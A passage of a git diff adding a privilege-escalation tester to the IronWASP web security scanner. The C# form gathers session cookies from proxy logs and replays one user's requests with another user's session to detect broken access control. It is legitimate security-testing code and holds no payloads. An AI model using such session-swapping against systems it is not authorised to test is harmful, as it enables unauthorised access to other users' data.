this.tabPage15.ResumeLayout(false); + this.tabPage7.ResumeLayout(false); + this.LogDisplayTabs.ResumeLayout(false); + this.tabPage29.ResumeLayout(false); + this.tabPage12.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TabControl BaseTabs; + private System.Windows.Forms.TabPage tabPage1; + private System.Windows.Forms.TabPage tabPage2; + private System.Windows.Forms.TabPage tabPage3; + private System.Windows.Forms.Panel ConfigurePanel; + private System.Windows.Forms.ProgressBar ConfigureProgressBar; + internal System.Windows.Forms.DataGridView FileTypesScopeGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; + private System.Windows.Forms.TabPage tabPage4; + internal System.Windows.Forms.DataGridView SelectSessionsGrid; + private System.Windows.Forms.TextBox CookieValueTB; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.SplitContainer SelectCandidatesBaseTab; + private System.Windows.Forms.SplitContainer CandidatesBottomSplit; + private System.Windows.Forms.SplitContainer SelectCandidatesLogsSplit; + private SessionView SessView; + internal System.Windows.Forms.DataGridView CandidatesGrid; + private System.Windows.Forms.SplitContainer ResultsBaseSplit; + internal System.Windows.Forms.TabControl ResultsBottomTabs; + private System.Windows.Forms.TabPage tabPage11; + internal System.Windows.Forms.TabControl tabControl5; + private System.Windows.Forms.TabPage tabPage22; + private DiffResultView OriginalVsTestResponseDRV; + private System.Windows.Forms.TabPage tabPage19; + private DiffResultView OriginalVsTestRequestDRV; + private System.Windows.Forms.TabPage tabPage5; + internal System.Windows.Forms.TabControl tabControl3; + private System.Windows.Forms.TabPage tabPage16; + internal ResponseView TestResponseView; + private System.Windows.Forms.TabPage tabPage15; + internal RequestView TestRequestView; + private System.Windows.Forms.TabPage tabPage7; + internal System.Windows.Forms.TabControl LogDisplayTabs; + private System.Windows.Forms.TabPage tabPage29; + internal ResponseView OriginalResponseView; + private System.Windows.Forms.TabPage tabPage12; + internal RequestView OriginalRequestView; + internal System.Windows.Forms.DataGridView ResultsGrid; + private System.Windows.Forms.ProgressBar ResultsProgressBar; + private System.Windows.Forms.ProgressBar CandidatesProgressBar; + private System.Windows.Forms.ProgressBar SessionsProgressBar; + private System.Windows.Forms.ComboBox RecordingSelectBox; + private System.Windows.Forms.Label SelectCandidatesLbl; + private System.Windows.Forms.Button FindSessionsBtn; + private System.Windows.Forms.Button FindCandidatesBtn; + private System.Windows.Forms.Button TestCandidatesBtn; + private System.Windows.Forms.SplitContainer SessionsBaseSplit; + private System.Windows.Forms.SplitContainer SessionsBottomSplit; + private System.Windows.Forms.RadioButton SelectUserARB; + private System.Windows.Forms.RadioButton SelectUserBRB; + public System.Windows.Forms.TreeView HostnamesScopeTree; + public System.Windows.Forms.TreeView FilterTree; + private System.Windows.Forms.DataGridViewCheckBoxColumn SelectClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn3; + private System.Windows.Forms.DataGridViewTextBoxColumn HostNameSelectClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn MethodClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn URLClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn FileClmn; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.DataGridViewTextBoxColumn IDClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn HostNameClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn TestedUrlClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn TestIdClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn OriginalVsTestClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn OriginalRequestBinaryStringClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn OriginalResponseBinaryStringClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn TestRequestBinaryStringClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn TestResponseBinaryStringClmn; + private System.Windows.Forms.SplitContainer ResultsTopSplit; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.LinkLabel ShowDocLL; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn2; + private System.Windows.Forms.DataGridViewCheckBoxColumn Column1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; + private System.Windows.Forms.DataGridViewTextBoxColumn Column2; + private System.Windows.Forms.DataGridViewTextBoxColumn CookieParamValueClmn; + } +} \ No newline at end of file diff --git a/Iron/Hawas/PrivillegeEscalationTester.cs b/Iron/Hawas/PrivillegeEscalationTester.cs new file mode 100644 index 0000000..77719bd --- /dev/null +++ b/Iron/Hawas/PrivillegeEscalationTester.cs @@ -0,0 +1,1233 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Threading; + +namespace IronWASP.Hawas +{ + public partial class PrivillegeEscalationTester : Form + { + static PrivillegeEscalationTester OpenPrivEscalationTester = null; + + Recording.Recording LoginRecording = null; + + Thread WorkerThread = null; + + bool InResultsStage = false; + + List MatchingRecords = new List(); + Dictionary CookieRawToEnocodedMap = new Dictionary(); + + string FinalCookieStringOfSessionA = ""; + string FinalCookieStringOfSessionB = ""; + + string SelectedSessionForTesting = "A"; + + Dictionary> FinalCookieValuesofUserA = new Dictionary>(); + Dictionary> FinalCookieValuesofUserB = new Dictionary>(); + + public PrivillegeEscalationTester() + { + InitializeComponent(); + } + + internal static void OpenWindow() + { + if (!IsWindowOpen()) + { + OpenPrivEscalationTester = new PrivillegeEscalationTester(); + OpenPrivEscalationTester.Show(); + } + OpenPrivEscalationTester.Activate(); + } + + static bool IsWindowOpen() + { + if (OpenPrivEscalationTester == null) + { + return false; + } + else if (OpenPrivEscalationTester.IsDisposed) + { + return false; + } + else + { + return true; + } + } + + private void PrivillegeEscalationTester_Load(object sender, EventArgs e) + { + WorkerThread = new Thread(GetInitialScopeValuesFromDB); + WorkerThread.Start(); + + RecordingSelectBox.Items.Clear(); + foreach (string Name in Recording.Recording.GetNames()) + { + RecordingSelectBox.Items.Add(Name); + } + } + + void GetInitialScopeValuesFromDB() + { + try + { + List Hosts = IronDB.GetUniqueHostsFromProxyLog(); + List Files = IronDB.GetUniqueFilesFromProxyLog(); + ShowConfigScopeValues(Hosts, Files); + } + catch (ThreadAbortException) { } + catch (Exception Exp) { IronException.Report("Error reading host and file values from DB", Exp); } + } + + delegate void ShowConfigScopeValues_d(List Hosts, List Files); + void ShowConfigScopeValues(List Hosts, List Files) + { + if (ConfigurePanel.InvokeRequired) + { + ShowConfigScopeValues_d CALL_d = new ShowConfigScopeValues_d(ShowConfigScopeValues); + ConfigurePanel.Invoke(CALL_d, new object[] { Hosts, Files }); + } + else + { + List> HostPartsList = new List>(); + + foreach (string Host in Hosts) + { + List Parts = new List(Host.Split(new char[]{'.'}, StringSplitOptions.RemoveEmptyEntries)); + Parts.Reverse(); + HostPartsList.Add(Parts); + } + + HostnamesScopeTree.Nodes.Clear(); + + foreach (List HostParts in HostPartsList) + { + HostParts.Reverse(); + string HostName = string.Join(".", HostParts.ToArray()); + HostParts.Reverse(); + + string BaseHost = ""; + if (HostParts.Count > 1) + { + BaseHost = string.Format("{0}.{1}", HostParts[1], HostParts[0]); + } + else + { + BaseHost = HostParts[0]; + } + + TreeNode BaseNode = null; + + if (HostnamesScopeTree.Nodes.ContainsKey(BaseHost)) + { + BaseNode = HostnamesScopeTree.Nodes[BaseHost]; + } + else + { + BaseNode = HostnamesScopeTree.Nodes.Add(BaseHost, " " + BaseHost); + } + + for (int i = 2; i < HostParts.Count; i++) + { + if (BaseNode.Nodes.ContainsKey(HostParts[i])) + { + BaseNode = BaseNode.Nodes[HostParts[i]]; + } + else + { + string NodeText = ""; + StringBuilder SB = new StringBuilder(" "); + for (int j = i; j >= 0; j--) + { + SB.Append(HostParts[j]); + SB.Append("."); + } + NodeText = SB.ToString().Trim('.'); + BaseNode = BaseNode.Nodes.Add(HostParts[i], NodeText); + } + } + + } + HostnamesScopeTree.ExpandAll(); + + FileTypesScopeGrid.Rows.Clear(); + foreach (string File in Files) + { + if (File.Trim().Length == 0) + { + FileTypesScopeGrid.Rows.Add(new object[] { true, " NO EXTENSION " }); + } + else + { + if (Crawler.ExtenionsToAvoid.Contains(File)) + { + FileTypesScopeGrid.Rows.Add(new object[] { false, File }); + } + else + { + FileTypesScopeGrid.Rows.Add(new object[] { true, File }); + } + } + } + ConfigureProgressBar.Visible = false; + ConfigurePanel.Visible = true; + } + } + + delegate void ShowCookieInfo_d(Dictionary>> CookieInfo); + void ShowCookieInfo(Dictionary>> CookieInfo) + { + if (ConfigurePanel.InvokeRequired) + { + ShowCookieInfo_d CALL_d = new ShowCookieInfo_d(ShowCookieInfo); + ConfigurePanel.Invoke(CALL_d, new object[] { CookieInfo }); + } + else + { + SelectSessionsGrid.Rows.Clear(); + foreach (string Host in CookieInfo.Keys) + { + foreach (string Name in CookieInfo[Host].Keys) + { + foreach (string Value in CookieInfo[Host][Name]) + { + SelectSessionsGrid.Rows.Add(new object[] { false, false, Host, Name, Value }); + } + } + } + SessionsProgressBar.Visible = false; + CandidatesBottomSplit.Visible = true; + FindCandidatesBtn.Visible = true; + } + } + + delegate void ShowCandidatesList_d(Dictionary> Urls, Dictionary>>> ACandidates, Dictionary>>> BCandidates); + void ShowCandidatesList(Dictionary> Urls, Dictionary>>> ACandidates, Dictionary>>> BCandidates) + { + if (ConfigurePanel.InvokeRequired) + { + ShowCandidatesList_d CALL_d = new ShowCandidatesList_d(ShowCandidatesList); + ConfigurePanel.Invoke(CALL_d, new object[] { Urls, ACandidates, BCandidates }); + } + else + { + + CandidatesProgressBar.Visible = false; + CandidatesBottomSplit.Visible = true; + TestCandidatesBtn.Visible = true; + + + CandidatesGrid.Rows.Clear(); + + FilterTree.Nodes.Clear(); + FilterTree.Nodes.Add("Methods").Checked = true; + FilterTree.Nodes.Add("File Extensions").Checked = true; + FilterTree.Nodes.Add("Urls").Checked = true; + + PopulateFilterTree(Urls, ACandidates); + PopulateFilterTree(Urls, BCandidates); + + + FilterTree.ExpandAll(); + + CandidatesGrid.Rows.Clear(); + foreach (string BaseUrl in Urls.Keys) + { + if (ACandidates.ContainsKey(BaseUrl) && BCandidates.ContainsKey(BaseUrl)) + { + foreach(string UrlPath in Urls[BaseUrl]) + //foreach (string UrlPath in ACandidates[BaseUrl].Keys) + { + if (ACandidates[BaseUrl].ContainsKey(UrlPath)) + { + foreach (Dictionary Dict in ACandidates[BaseUrl][UrlPath]) + { + int RowId = CandidatesGrid.Rows.Add(new object[] { SelectUserARB.Checked, Dict["id"], Dict["host"], Dict["method"], Dict["url"], Dict["file"] }); + CandidatesGrid.Rows[RowId].DefaultCellStyle.BackColor = Color.Orange; + } + } + if (BCandidates[BaseUrl].ContainsKey(UrlPath)) + { + foreach (Dictionary Dict in BCandidates[BaseUrl][UrlPath]) + { + int RowId = CandidatesGrid.Rows.Add(new object[] { SelectUserBRB.Checked, Dict["id"], Dict["host"], Dict["method"], Dict["url"], Dict["file"] }); + CandidatesGrid.Rows[RowId].DefaultCellStyle.BackColor = Color.Green; + } + } + } + } + else if (ACandidates.ContainsKey(BaseUrl)) + { + foreach (string UrlPath in ACandidates[BaseUrl].Keys) + { + foreach (Dictionary Dict in ACandidates[BaseUrl][UrlPath]) + { + int RowId = CandidatesGrid.Rows.Add(new object[] { SelectUserARB.Checked, Dict["id"], Dict["host"], Dict["method"], Dict["url"], Dict["file"] }); + CandidatesGrid.Rows[RowId].DefaultCellStyle.BackColor = Color.Orange; + } + } + } + else + { + foreach (string UrlPath in BCandidates[BaseUrl].Keys) + { + foreach (Dictionary Dict in BCandidates[BaseUrl][UrlPath]) + { + int RowId = CandidatesGrid.Rows.Add(new object[] { SelectUserBRB.Checked, Dict["id"], Dict["host"], Dict["method"], Dict["url"], Dict["file"] }); + CandidatesGrid.Rows[RowId].DefaultCellStyle.BackColor = Color.Green; + } + } + } + } + SelectUserARB.Checked = true; + TestCandidatesBtn.Visible = true; + } + } + + delegate void PopulateFilterTree_d(Dictionary> Urls, Dictionary>>> Candidates); + void PopulateFilterTree(Dictionary> Urls, Dictionary>>> Candidates) + { + if (ConfigurePanel.InvokeRequired) + { + PopulateFilterTree_d CALL_d = new PopulateFilterTree_d(PopulateFilterTree); + ConfigurePanel.Invoke(CALL_d, new object[] { Urls, Candidates }); + } + else + { + foreach(string BaseUrl in Urls.Keys) + //foreach (LogRow LR in Records) + { + if (Candidates.ContainsKey(BaseUrl)) + { + foreach (string UrlPath in Candidates[BaseUrl].Keys) + { + foreach (Dictionary Dict in Candidates[BaseUrl][UrlPath]) + { + //Dict["id"], Dict["host"], Dict["method"], Dict["url"] + string Method = Dict["method"].ToString(); + string Host = Dict["host"].ToString(); + string Url = Dict["url"].ToString(); + string File = Dict["file"].ToString(); + + if (!FilterTree.Nodes[0].Nodes.ContainsKey(Method)) + { + FilterTree.Nodes[0].Nodes.Add(Method, Method).Checked = true; + } + + if (File.Trim().Length == 0) + { + File = " - NO EXTENSION - "; + } + if (!FilterTree.Nodes[1].Nodes.ContainsKey(File)) + { + FilterTree.Nodes[1].Nodes.Add(File, File).Checked = true; + } + if (!FilterTree.Nodes[2].Nodes.ContainsKey(Host)) + { + FilterTree.Nodes[2].Nodes.Add(Host, Host).Checked = true; + } + TreeNode HostNode = FilterTree.Nodes[2].Nodes[Host]; + if (!HostNode.Nodes.ContainsKey("/")) + { + HostNode.Nodes.Add("/", "/").Checked = true; + } + Request Req = new Request(string.Format("http://{0}{1}", Host, Url)); + + for (int i = 0; i < Req.UrlPathParts.Count; i++) + { + string Path = Req.UrlPathParts[i]; + string FullPath = ""; + if (Req.UrlPathParts.Count > 0) + { + StringBuilder SB = new StringBuilder(); + for (int j = 0; j <= i; j++) + { + SB.Append("/"); + SB.Append(Req.UrlPathParts[j]); + } + FullPath = SB.ToString(); + } + else + { + FullPath = "/"; + } + if (!HostNode.Nodes.ContainsKey(FullPath)) + { + HostNode.Nodes.Add(FullPath, Path).Checked = true; + if (!HostNode.Checked) + { + HostNode.Checked = true; + } + } + HostNode = HostNode.Nodes[FullPath]; + } + } + } + } + } + } + } + + delegate void AddTestResult_d(string OriginalRequestBinaryString, string OriginalResonseBinaryString, string TestRequestBinaryString, string TestResponseBinaryString, int PercentOfDifference, Request OriginalRequest, Request TestRequest); + void AddTestResult(string OriginalRequestBinaryString, string OriginalResonseBinaryString, string TestRequestBinaryString, string TestResponseBinaryString, int PercentOfDifference, Request OriginalRequest, Request TestRequest) + { + if (ConfigurePanel.InvokeRequired) + { + AddTestResult_d CALL_d = new AddTestResult_d(AddTestResult); + ConfigurePanel.Invoke(CALL_d, new object[] { OriginalRequestBinaryString, OriginalResonseBinaryString, TestRequestBinaryString, TestResponseBinaryString, PercentOfDifference, OriginalRequest, TestRequest }); + } + else + { + /* + ID + HostName + URL + Test ID + % of diff + Ori Req BS + Ori Res BS + Test Req BS + Test Res BS + */ + int RowId = ResultsGrid.Rows.Add(new object[] { OriginalRequest.ID, OriginalRequest.Host, OriginalRequest.Url, TestRequest.ID, PercentOfDifference, OriginalRequestBinaryString, OriginalResonseBinaryString, TestRequestBinaryString, TestResponseBinaryString }); + if (PercentOfDifference <= 10) + { + ResultsGrid.Rows[RowId].DefaultCellStyle.BackColor = Color.Red; + } + else if (PercentOfDifference <= 20) + { + ResultsGrid.Rows[RowId].DefaultCellStyle.BackColor = Color.IndianRed; + } + else if (PercentOfDifference <= 30) + { + ResultsGrid.Rows[RowId].DefaultCellStyle.BackColor = Color.OrangeRed; + } + } + } + + private void FindSessionsBtn_Click(object sender, EventArgs e) + { + if (Recording.Recording.Has(RecordingSelectBox.Text)) + { + LoginRecording = Recording.Recording.Get(RecordingSelectBox.Text); + } + + CandidatesBottomSplit.Visible = false; + SessionsProgressBar.Visible = true; + BaseTabs.SelectTab(1); + + List SelectedHosts = new List(); + foreach (TreeNode Node in HostnamesScopeTree.Nodes) + { + SelectedHosts.AddRange(GetSelectedHosts(Node)); + } + + List SelectedFileTypes = new List(); + foreach (DataGridViewRow Row in FileTypesScopeGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + if (Row.Cells[1].Value.ToString().Equals(" NO EXTENSION ")) + { + SelectedFileTypes.Add(""); + } + else + { + SelectedFileTypes.Add(Row.Cells[1].Value.ToString()); + } + } + } + + try + { + WorkerThread.Abort(); + } + catch { } + WorkerThread = new Thread(FindCandidatesFromDB); + WorkerThread.Start(new Dictionary>() { { "Hosts", SelectedHosts }, { "File", SelectedFileTypes } }); + } + + List GetSelectedHosts(TreeNode Node) + { + List SelectedHosts = new List(); + if (Node.Checked) + { + if (!SelectedHosts.Contains(Node.Text.Trim())) + { + SelectedHosts.Add(Node.Text.Trim()); + } + } + foreach (TreeNode ChildNode in Node.Nodes) + { + SelectedHosts.AddRange(GetSelectedHosts(ChildNode)); + } + return SelectedHosts; + } + + void FindCandidatesFromDB(object FilterDictObj) + { + Dictionary> FilterInfo = (Dictionary>)FilterDictObj; + + MatchingRecords = IronDB.GetRecordsFromProxyLogMatchingFilters(FilterInfo["Hosts"], FilterInfo["File"], ""); + + Dictionary>> CookieInfo = new Dictionary>>(); + + CookieRawToEnocodedMap = new Dictionary(); + + foreach (LogRow LR in MatchingRecords) + { + Request Req = Request.FromProxyLog(LR.ID); + if (Req.Cookie.Count > 0) + { + if (!CookieInfo.ContainsKey(Req.BaseUrl)) + { + CookieInfo[Req.BaseUrl] = new Dictionary>(); + } + foreach(string Name in Req.Cookie.GetNames()) + { + if (!CookieInfo[Req.BaseUrl].ContainsKey(Name)) + { + CookieInfo[Req.BaseUrl][Name] = new List(); + } + + List Values = Req.Cookie.GetAll(Name); + for (int i = 0; i < Values.Count; i++) + { + string Value = Values[i]; + if (!CookieInfo[Req.BaseUrl][Name].Contains(Value)) + { + CookieInfo[Req.BaseUrl][Name].Add(Value); + } + if (!CookieRawToEnocodedMap.ContainsKey(Value)) + { + CookieRawToEnocodedMap[Value] = Req.Cookie.RawGetAll(Name)[i]; + } + } + } + } + } + + ShowCookieInfo(CookieInfo); + + //Show these records on the page + //ShowMatchingRecordValues(RecordsToTest); + } + + private void SelectSessionsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (SelectSessionsGrid.SelectedRows.Count > 0) + { + DataGridViewRow SelectedRow = SelectSessionsGrid.SelectedRows[0]; + if (e.ColumnIndex == 0) + { + if ((bool)SelectedRow.Cells[0].Value) + { + SelectedRow.Cells[0].Value = false; + SelectedRow.DefaultCellStyle.BackColor = Color.White; + } + else + { + SelectedRow.Cells[0].Value = true; + SelectedRow.Cells[1].Value = false; + SelectedRow.DefaultCellStyle.BackColor = Color.Orange; + } + } + else if (e.ColumnIndex == 1) + { + if ((bool)SelectedRow.Cells[1].Value) + { + SelectedRow.Cells[1].Value = false; + SelectedRow.DefaultCellStyle.BackColor = Color.White; + } + else + { + SelectedRow.Cells[1].Value = true; + SelectedRow.Cells[0].Value = false; + SelectedRow.DefaultCellStyle.BackColor = Color.Green; + } + } + else + { + //ShowSelectedCookieParameter(); + } + } + } + + void ShowSelectedCookieParameter() + { + if (SelectSessionsGrid.SelectedRows.Count > 0) + { + CookieValueTB.Text = SelectSessionsGrid.SelectedRows[0].Cells["CookieParamValueClmn"].Value.ToString(); + } + } + + private void FindCandidatesBtn_Click(object sender, EventArgs e) + { + Dictionary>>> SessionInfo = new Dictionary>>>() { { "A", new Dictionary>>() }, { "B", new Dictionary>>() } }; + foreach (DataGridViewRow Row in SelectSessionsGrid.Rows) + { + string User = ""; + string Name = ""; + string Value = ""; + string Host = ""; + if ((bool)Row.Cells[0].Value) + { + User = "A"; + } + else if ((bool)Row.Cells[1].Value) + { + User = "B"; + } + if (User.Length > 0) + { + Host = Row.Cells[2].Value.ToString(); + Name = Row.Cells[3].Value.ToString(); + Value = Row.Cells[4].Value.ToString(); + if (!SessionInfo[User].ContainsKey(Host)) SessionInfo[User][Host] = new Dictionary>(); + if (!SessionInfo[User][Host].ContainsKey(Name)) SessionInfo[User][Host][Name] = new List(); + if (!SessionInfo[User][Host][Name].Contains(Value)) SessionInfo[User][Host][Name].Add(Value); + } + } + if ((SessionInfo["A"].Count + SessionInfo["B"].Count) == 0) + { + MessageBox.Show("No Session Information was selected. Select User A and User B session info."); + return; + } + try + { + WorkerThread.Abort(); + } + catch { } + CandidatesGrid.Rows.Clear(); + WorkerThread = new Thread(FindFinalCandidatesFromDB); + WorkerThread.Start(SessionInfo); + BaseTabs.SelectTab(2); + } + + void FindFinalCandidatesFromDB(object FilterDictObj) + { + Dictionary>>> FilterInfo = (Dictionary>>>)FilterDictObj; + + Dictionary>> UserAReqs = new Dictionary>>(); + Dictionary>> UserBReqs = new Dictionary>>(); + + Dictionary>>> UniqueUserAReqs = new Dictionary>>>(); + Dictionary>>> UniqueUserBReqs = new Dictionary>>>(); + + foreach (LogRow LR in MatchingRecords) + { + Request Req = Request.FromProxyLog(LR.ID); + + if (FilterInfo["A"].ContainsKey(Req.BaseUrl)) + { + foreach (string Name in FilterInfo["A"][Req.BaseUrl].Keys) + { + if (Req.Cookie.Has(Name)) + { + foreach (string Value in FilterInfo["A"][Req.BaseUrl][Name]) + { + if (Req.Cookie.GetAll(Name).Contains(Value)) + { + if (!UserAReqs.ContainsKey(Req.FullUrl)) UserAReqs[Req.FullUrl] = new List>(); + Dictionary ReqDict = new Dictionary() {{"id", Req.ID}, {"method", Req.Method}, {"body", Tools.MD5(Req.BodyString)} }; + bool Duplicate = false; + foreach (Dictionary ExistingReqDict in UserAReqs[Req.FullUrl]) + { + if (ExistingReqDict["method"].ToString().Equals(ReqDict["method"].ToString()) && ExistingReqDict["body"].ToString().Equals(ReqDict["body"].ToString())) + { + Duplicate = true; + break; + } + } + if (!Duplicate) + { + UserAReqs[Req.FullUrl].Add(ReqDict); + FinalCookieStringOfSessionA = Req.CookieString; + } + } + } + } + } + } + if (FilterInfo["B"].ContainsKey(Req.BaseUrl)) + { + foreach (string Name in FilterInfo["B"][Req.BaseUrl].Keys) + { + if (Req.Cookie.Has(Name)) + { + foreach (string Value in FilterInfo["B"][Req.BaseUrl][Name]) + { + if (Req.Cookie.GetAll(Name).Contains(Value)) + { + if (!UserBReqs.ContainsKey(Req.FullUrl)) UserBReqs[Req.FullUrl] = new List>(); + Dictionary ReqDict = new Dictionary() { { "id", Req.ID }, { "method", Req.Method }, { "body", Tools.MD5(Req.BodyString) } }; + bool Duplicate = false; + foreach (Dictionary ExistingReqDict in UserBReqs[Req.FullUrl]) + { + if (ExistingReqDict["method"].ToString().Equals(ReqDict["method"].ToString()) && ExistingReqDict["body"].ToString().Equals(ReqDict["body"].ToString())) + { + Duplicate = true; + break; + } + } + if (!Duplicate) + { + UserBReqs[Req.FullUrl].Add(ReqDict); + FinalCookieStringOfSessionB = Req.CookieString; + } + } + } + } + } + } + } + + foreach (string Url in UserAReqs.Keys) + { + List> ADictsToAdd = new List>(); + if (UserBReqs.ContainsKey(Url)) + { + foreach (Dictionary ADict in UserAReqs[Url]) + { + bool Duplicate = false; + foreach (Dictionary BDict in UserBReqs[Url]) + { + if (ADict["method"].ToString().Equals(BDict["method"].ToString()) && ADict["body"].ToString().Equals(BDict["body"].ToString())) + { + Duplicate = true; + break; + } + } + if (!Duplicate) + { + ADictsToAdd.Add(ADict); + } + } + } + else + { + ADictsToAdd.AddRange(UserAReqs[Url]); + } + + foreach (Dictionary ADict in ADictsToAdd) + { + Request Req = new Request(Url); + if (!UniqueUserAReqs.ContainsKey(Req.BaseUrl)) UniqueUserAReqs[Req.BaseUrl] = new Dictionary>>(); + if (!UniqueUserAReqs[Req.BaseUrl].ContainsKey(Req.UrlPath)) UniqueUserAReqs[Req.BaseUrl][Req.UrlPath] = new List>(); + UniqueUserAReqs[Req.BaseUrl][Req.UrlPath].Add(new Dictionary() { { "id", ADict["id"] }, { "host", Req.Host }, { "url", Req.Url }, { "file", Req.File }, { "method", ADict["method"] }, { "body", ADict["body"] } }); + } + } + + foreach (string Url in UserBReqs.Keys) + { + List> BDictsToAdd = new List>(); + if (UserAReqs.ContainsKey(Url)) + { + foreach (Dictionary BDict in UserBReqs[Url]) + { + bool Duplicate = false; + foreach (Dictionary ADict in UserAReqs[Url]) + { + if (ADict["method"].ToString().Equals(BDict["method"].ToString()) && ADict["body"].ToString().Equals(BDict["body"].ToString())) + { + Duplicate = true; + break; + } + } + if (!Duplicate) + { + BDictsToAdd.Add(BDict); + } + } + } + else + { + BDictsToAdd.AddRange(UserBReqs[Url]); + } + + foreach (Dictionary BDict in BDictsToAdd) + { + Request Req = new Request(Url); + if (!UniqueUserBReqs.ContainsKey(Req.BaseUrl)) UniqueUserBReqs[Req.BaseUrl] = new Dictionary>>(); + if (!UniqueUserBReqs[Req.BaseUrl].ContainsKey(Req.UrlPath)) UniqueUserBReqs[Req.BaseUrl][Req.UrlPath] = new List>(); + UniqueUserBReqs[Req.BaseUrl][Req.UrlPath].Add(new Dictionary() { { "id", BDict["id"] }, { "host", Req.Host }, { "url", Req.Url }, { "file", Req.File }, { "method", BDict["method"] }, { "body", BDict["body"] } }); + } + } + + Dictionary> UniqueUrlPaths = new Dictionary>(); + foreach (string BaseUrl in UniqueUserAReqs.Keys) + { + if (!UniqueUrlPaths.ContainsKey(BaseUrl)) UniqueUrlPaths[BaseUrl] = new List(); + UniqueUrlPaths[BaseUrl].AddRange(UniqueUserAReqs[BaseUrl].Keys); + } + + foreach (string BaseUrl in UniqueUserBReqs.Keys) + { + if(!UniqueUrlPaths.ContainsKey(BaseUrl)) UniqueUrlPaths[BaseUrl] = new List(); + foreach (string UrlPath in UniqueUserBReqs[BaseUrl].Keys) + { + if (!UniqueUrlPaths[BaseUrl].Contains(UrlPath)) UniqueUrlPaths[BaseUrl].Add(UrlPath); + } + } + foreach (string BaseUrl in UniqueUrlPaths.Keys) + { + UniqueUrlPaths[BaseUrl].Sort(); + } + ShowCandidatesList(UniqueUrlPaths, UniqueUserAReqs, UniqueUserBReqs); + //Show these records on the page + //ShowMatchingRecordValues(RecordsToTest); + } + + private void SelectUserARB_CheckedChanged(object sender, EventArgs e) + { + if (SelectUserARB.Checked) + { + SelectCandidatesLbl.Text = "If you want to use the Login Sequence Recording of User B during the testing then select one:"; + foreach (DataGridViewRow Row in CandidatesGrid.Rows) + { + if (Row.DefaultCellStyle.BackColor == Color.Orange) + { + Row.Cells[0].Value = true; + } + else + { + Row.Cells[0].Value = false; + } + } + } + } + + private void CandidatesGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (CandidatesGrid.SelectedRows.Count > 0) + { + if (e.ColumnIndex == 0) + { + if ((bool)CandidatesGrid.SelectedRows[0].Cells[0].Value) + { + CandidatesGrid.SelectedRows[0].Cells[0].Value = false; + } + else + { + //CandidatesGrid.SelectedRows[0].Cells[0].Value = true; + Color SelectedColor = CandidatesGrid.SelectedRows[0].DefaultCellStyle.BackColor; + if ((SelectUserARB.Checked && SelectedColor == Color.Orange) || (SelectUserBRB.Checked && SelectedColor == Color.Green)) + { + CandidatesGrid.SelectedRows[0].Cells[0].Value = true; + } + else + { + if (SelectUserARB.Checked) + { + MessageBox.Show("Cannot select Logs belonging to User B. Change the user selection option above to User B to select these logs."); + } + else + { + MessageBox.Show("Cannot select Logs belonging to User A. Change the user selection option above to User A to select these logs."); + } + return; + } + } + } + else + { + //ShowSelectedLog(); + } + } + } + + void ShowSelectedLog() + { + try + { + SessView.LoadAndShowSession((int)CandidatesGrid.SelectedRows[0].Cells[1].Value, "Proxy"); + } + catch { } + } + + private void SelectUserBRB_CheckedChanged(object sender, EventArgs e) + { + if (SelectUserBRB.Checked) + { + SelectCandidatesLbl.Text = "If you want to use the Login Sequence Recording of User A during the testing then select one:"; + foreach (DataGridViewRow Row in CandidatesGrid.Rows) + { + if (Row.DefaultCellStyle.BackColor == Color.Green) + { + Row.Cells[0].Value = true; + } + else + { + Row.Cells[0].Value = false; + } + } + } + } + + private void TestCandidatesBtn_Click(object sender, EventArgs e) + { + if (Recording.Recording.Has(RecordingSelectBox.Text)) + { + LoginRecording = Recording.Recording.Get(RecordingSelectBox.Text); + } + else if (RecordingSelectBox.Text.Trim().Length > 0) + { + MessageBox.Show("Invalid Login recording name, enter a valid name."); + return; + } + + List SelectedLogIds = new List(); + foreach (DataGridViewRow Row in CandidatesGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + SelectedLogIds.Add((int)Row.Cells[1].Value); + } + } + if (SelectedLogIds.Count == 0) + { + MessageBox.Show("No candidates were selected for testing, select atleast one candidate."); + return; + } + + ResultsGrid.Rows.Clear(); + ResultsProgressBar.Visible = true; + InResultsStage = true; + BaseTabs.SelectTab(3); + try + { + WorkerThread.Abort(); + } + catch { } + if (SelectUserARB.Checked) + { + SelectedSessionForTesting = "A"; + } + else + { + SelectedSessionForTesting = "B"; + } + WorkerThread = new Thread(TestSelectedCandidates); + WorkerThread.Start(SelectedLogIds); + } + + void TestSelectedCandidates(object SelectedItemsObj) + { + try + { + List LogIds = (List)SelectedItemsObj; + foreach (int LogId in LogIds) + { + TestLog(LogId); + } + ResultsEnd(); + } + catch (ThreadAbortException) { } + catch (Exception Exp) + { + MessageBox.Show(string.Format("Error testing candidates - {0}", Exp.Message)); + } + } + + void TestLog(int LogId) + { + Session Sess = Session.FromProxyLog(LogId); + if (Sess.Response != null) + { + Request ReqToTest = Sess.Request.GetClone(); + ReqToTest.SetSource("PrivillegeEscalationTester"); + if (LoginRecording != null) + { + ReqToTest.SetCookie(LoginRecording.Cookies); + if 